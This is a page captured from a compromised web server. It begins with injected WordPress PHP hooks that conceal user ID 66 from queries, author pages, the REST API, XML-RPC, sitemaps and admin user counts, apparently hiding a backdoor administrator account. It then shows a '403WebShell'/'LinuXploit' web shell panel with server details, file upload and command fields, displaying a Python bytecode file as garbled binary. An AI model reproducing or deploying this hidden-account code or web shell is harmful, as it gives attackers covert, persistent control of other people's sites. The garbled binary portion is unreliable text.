add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/lib/python3.12/test/support/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/python3.12/test/support/__pycache__/asynchat.cpython-312.pyc
�

:5jR-��d�dZddlmZddlmZGd�dej
�ZGd�d�Zd�Zy	)
a�A class supporting chat-style (command/response) protocols.

This class adds support for 'chat' style protocols - where one side
sends a 'command', and the other sends a response (examples would be
the common internet protocols - smtp, nntp, ftp, etc..).

The handle_read() method looks at the input stream for the current
'terminator' (usually '\r\n' for single-line responses, '\r\n.\r\n'
for multi-line output), calling self.found_terminator() on its
receipt.

for example:
Say you build an async nntp client using this class.  At the start
of the connection, you'll have self.terminator set to '\r\n', in
order to process the single-line greeting.  Just before issuing a
'LIST' command you'll set it to '\r\n.\r\n'.  The output of the LIST
command will be accumulated (using your own 'collect_incoming_data'
method) up to the terminator, and then control will be returned to
you - by calling your self.found_terminator() method.
�)�deque)�asyncorec��eZdZdZdZdZdZdZdd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zy)�
async_chatz�This is an abstract class.  You must derive from this class, and add
    the two methods collect_incoming_data() and found_terminator()irzlatin-1Nc��d|_g|_t�|_tj
j
|||�y�N�)�ac_in_buffer�incomingr�
producer_fifor�
dispatcher�__init__)�self�sock�maps   �,/usr/lib/python3.12/test/support/asynchat.pyrzasync_chat.__init__Js7�����
��
�#�W������$�$�T�4��5r	c��td���Nzmust be implemented in subclass��NotImplementedError�r�datas  r�collect_incoming_dataz async_chat.collect_incoming_dataX���!�"C�D�Dr	c�:�|jj|�y�N)r�appendrs  r�_collect_incoming_dataz!async_chat._collect_incoming_data[s���
�
���T�"r	c�Z�dj|j�}|jdd�=|Sr)�joinr)r�ds  r�	_get_datazasync_chat._get_data^s%���H�H�T�]�]�#���M�M�!���r	c��td��rr�rs r�found_terminatorzasync_chat.found_terminatorcrr	c���t|t�r*|jrt||j�}||_yt|t
�r|dkrt
d��||_y)zdSet the input delimiter.

        Can be a fixed string of any length, an integer, or None.
        rz-the number of received bytes must be positiveN)�
isinstance�str�use_encoding�bytes�encoding�int�
ValueError�
terminator)r�terms  r�set_terminatorzasync_chat.set_terminatorfsT��
�d�C� �T�%6�%6���t�}�}�-�D������c�
"�t�a�x��L�M�M���r	c��|jSr)r.r$s r�get_terminatorzasync_chat.get_terminatorqs�����r	c��	|j|j�}t|t�r&|jrtt|j�}|j|z|_
|j�r�t|j�}|j�}|s$|j|j�d|_
�n�t|t�r�|}||kr8|j|j�d|_
|j|z
|_�n4|j|jd|�|j|d|_
d|_|j!�n�t|�}|jj#|�}|dk7rK|dkDr|j|jd|�|j||zd|_
|j!�ntt%|j|�}|r:||k7r4|j|jd|�|j|d|_
y|j|j�d|_
|jr���yy#t$rYyt$r|j	�YywxYw)Nr	r���)�recv�ac_in_buffer_size�BlockingIOError�OSError�handle_errorr'r(r)r*r+r
�lenr2rr,r.r%�find�find_prefix_at_end)rr�lbr.�n�terminator_len�indexs       r�handle_readzasync_chat.handle_readys>��	��9�9�T�3�3�4�D��d�C� �T�%6�%6���d�m�m�,�D� �-�-��4�������T�&�&�'�B��,�,�.�J���*�*�4�+<�+<�=�$'��!��J��,�����6��.�.�t�/@�/@�A�(+�D�%�&*�o�o��&:�D�O��.�.�t�/@�/@��!�/D�E�(,�(9�(9�!�"�(=�D�%�&'�D�O��)�)�+�"%�Z����)�)�.�.�z�:���B�;��q�y��2�2�4�3D�3D�V�e�3L�M�(,�(9�(9�%��:N�:O�(P�D�%��)�)�+�/�t�/@�/@�*�M�E�� �B�;� �6�6�t�7H�7H��5�&�7Q�R�04�0A�0A�5�&�'�0J�D�-���2�2�4�3D�3D�E�,/��)�g�����	���	������	�s�I�	I8�I8�7I8c�$�|j�yr)�
initiate_sendr$s r�handle_writezasync_chat.handle_write�s�����r	c�$�|j�yr)�closer$s r�handle_closezasync_chat.handle_close�s���
�
�r	c�h�t|tttf�st	dt|���|j}t|�|kDr=tdt|�|�D]#}|jj||||z��%n|jj|�|j�y)Nz#data argument must be byte-ish (%r)r)r'r*�	bytearray�
memoryview�	TypeError�type�ac_out_buffer_sizer:�rangerrrC)rr�sabs�is    r�pushzasync_chat.push�s����$��	�:� >�?��A� ��J�(�
(��&�&���t�9�t���1�c�$�i��.�
:���"�"�)�)�$�q��4��.�9�
:�
���%�%�d�+����r	c�Z�|jj|�|j�yr)rrrC)r�producers  r�push_with_producerzasync_chat.push_with_producer�s"�����!�!�(�+����r	c��y)z4predicate for inclusion in the readable for select()��r$s r�readablezasync_chat.readable�s��r	c�8�|jxs
|jS)z4predicate for inclusion in the writable for select())r�	connectedr$s r�writablezasync_chat.writable�s���!�!�9�$�.�.�&8�9r	c�:�|jjd�y)zAautomatically close this channel once the outgoing queue is emptyN)rrr$s r�close_when_donezasync_chat.close_when_done�s�����!�!�$�'r	c��|jr�|jr�|jd}|s |jd=|�|j�y|j}	|d|}t|t�r"|jrt||j�}	|j|�}|r<|t|�ks|t|�kr||d|jd<y|jd=yyy#t$r?|j�}|r|jj
|�n
|jd=Y��'wxYw#t$r|j�YywxYw)Nr)rrZrGrMrK�more�
appendleftr'r(r)r*r+�sendr8r9r:)r�first�obsr�num_sents     rrCzasync_chat.initiate_send�sP��� � �T�^�^��&�&�q�)�E���&�&�q�)��=��%�%�'���)�)�C�
��T�c�{���$��$��):�):��T�4�=�=�1��
��9�9�T�?��
��c�$�i�'�3��U��+;�,1�(�)�,<�D�&�&�q�)�
��*�*�1�-��K&4� ���
��z�z�|����&�&�1�1�$�7��*�*�1�-��

���
��!�!�#��
�s%�C!�D,�!AD)�(D)�,E�Ec�d�d|_|jdd�=|jj�yr)r
rr�clearr$s r�discard_bufferszasync_chat.discard_bufferss(������M�M�!����� � �"r	)NN)�__name__�
__module__�__qualname__�__doc__r6rMr)r+rrrr"r%r0r2rArDrGrQrTrXr[r]rCrgrWr	rrr;s|��F�
����
�L��H�6�E�#��
E�	��F0�P��
���:�(�&�P#r	rc��eZdZdd�Zd�Zy)�simple_producerc� �||_||_yr)r�buffer_size)rrros   rrzsimple_producer.__init__s����	�&��r	c���t|j�|jkDr9|jd|j}|j|jd|_|S|j}d|_|Sr)r:rro)r�results  rr_zsimple_producer.moresb���t�y�y�>�D�,�,�,��Y�Y�0�� 0� 0�1�F��	�	�$�"2�"2�"3�4�D�I��M��Y�Y�F��D�I��Mr	N)i)rhrirjrr_rWr	rrmrms��'�r	rmc��t|�dz
}|r0|j|d|�s|dz}|r|j|d|�s�|S)NrV)r:�endswith)�haystack�needle�ls   rr<r<6sK���F��a��A�
�H�%�%�f�R�a�j�1�	�Q����H�%�%�f�R�a�j�1��Hr	N)	rk�collectionsr�test.supportrr
rrmr<rWr	r�<module>rys8��B�*�!�X#��$�$�X#�v��@
r	

Youez - 2016 - github.com/yon3zu
LinuXploit